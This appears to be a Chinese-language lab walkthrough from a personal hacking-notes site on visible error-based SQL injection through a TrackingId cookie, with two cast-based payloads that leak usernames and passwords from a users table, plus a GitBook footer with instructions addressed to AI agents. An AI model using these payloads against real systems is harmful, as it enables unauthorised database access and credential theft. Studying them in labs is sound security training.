> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/error-based-sql-injection.md).

# 基于错误的 SQL 注入

### 可见的基于错误的 SQL 注入

**简要背景：** 应用程序将……的值拼接到 `TrackingId` 在 SQL 查询中的 cookie。通过对某一列（用户名/密码）的内容触发 \*\* 转换错误 / 函数\*\*，一些 DBMS 会返回包含该值的错误消息——该消息就变成了一个泄露字符串。目标：获取 `administrator` 密码，然后登录。

<figure><img src="/files/8178dc670074dcf90a9028d5a29a172d3ffd3f81" alt=""><figcaption></figcaption></figure>

```sql
' or 1=cast((select username from users limit 1)as INT)-- -
```

<figure><img src="/files/e94d57fb8a61e67e5161ad1c14424ef243c01289" alt=""><figcaption></figcaption></figure>

```sql
' or 1=cast((select password from users limit 1)as INT)-- -
```

<figure><img src="/files/d6d3a6d234b5d3018ab0936ac551175af11ab308" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/error-based-sql-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
